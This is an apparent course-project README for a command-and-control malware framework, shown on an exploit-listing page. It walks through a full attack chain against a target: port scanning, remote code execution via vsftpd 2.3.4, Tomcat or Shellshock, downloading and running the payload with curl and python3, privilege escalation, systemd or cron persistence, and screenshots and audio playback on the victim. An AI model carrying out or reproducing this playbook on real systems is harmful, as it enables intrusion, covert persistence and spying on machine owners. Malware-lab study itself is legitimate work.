Exploit for c2-framework

## https://sploitus.com/exploit?id=7A3D773F-E0A7-516A-BC01-5C054725EABA
# E1A Malware Lab Final Project - Command & Control Framework

## Structure
```
project-skeleton
├── client
│   ├── app.py
│   └── cybersploit_client
│       ├── commands
│       └── util
├── payload
│   └── server.py
```

The client is our command and control server. We run this on our machine, and it provides a clean CLI with which to issue commands to the malware.

The server is the malware itself; it is deployed on the victim machine, and consists of a basic TCP server that accepts connections on port 2956. 

## Dependencies
If you want to use the client's screenshot command, you'll need to install Pillow:

`pip install Pillow`

## Usage
### Overview
0. In util/config.py, edit DEFAULT_IP and DEFAULT_PORT to be the IP of the target machine and the port that server.py will be listening on, respectively
1. Run our client (app.py) on your machine
2. From the client, use port_scan to see which ports are running vulnerable services on the target machine
3. From the client, use an exploit of a vulnerable service to gain remote code execution 
	- Pre-loaded exploits are for vsftpd 2.3.4, Apache Tomcat 8.5.21, and GNU Bash versions 1.14 through 4.3 
4. Using remote code execution, run our server on the target machine
	- curl -O https://raw.githubusercontent.com/.../server.py
	- python3 server.py
5. Open a new terminal on the client and run a privesc from app.py to gain root on the target
6. Run persistence commands
7. Run C&C commands

### Specifics
Note: $ denotes shell commands, while `this font` denotes commands entered into the client's native CLI.

STEPS 1 and 2: Setup\
$ cd ~/c2-framework/client\
$ python3 app.py

Then inside the client CLI, run\
`port_scan -i "competition-target" -sp 8000 -ep 8500`

Note: usage is `port_scan -i  -sp  -ep `. All arguments are optional; defaults are ip = DEFAULT_IP, sp = 0, ep = 500. 

STEP 3: Gain RCE\
`ftp` or `shellshock` or `tomcat`

STEP 4: Using RCE, download and run payload\
$ curl -O https://raw.githubusercontent.com/.../server.py \
$ python3 server.py

STEP 5: Command the payload to perform privilege escalation\
In a new terminal on your own machine, run: \
$ python3 app.py

Then run\
`suid_privesc`
or
`etc_privesc`

STEP 6: Establish persistence\
`systemd`
or
`cron`

STEP 7: Post-exploitation actions\
`play_audio`
or
`screenshot`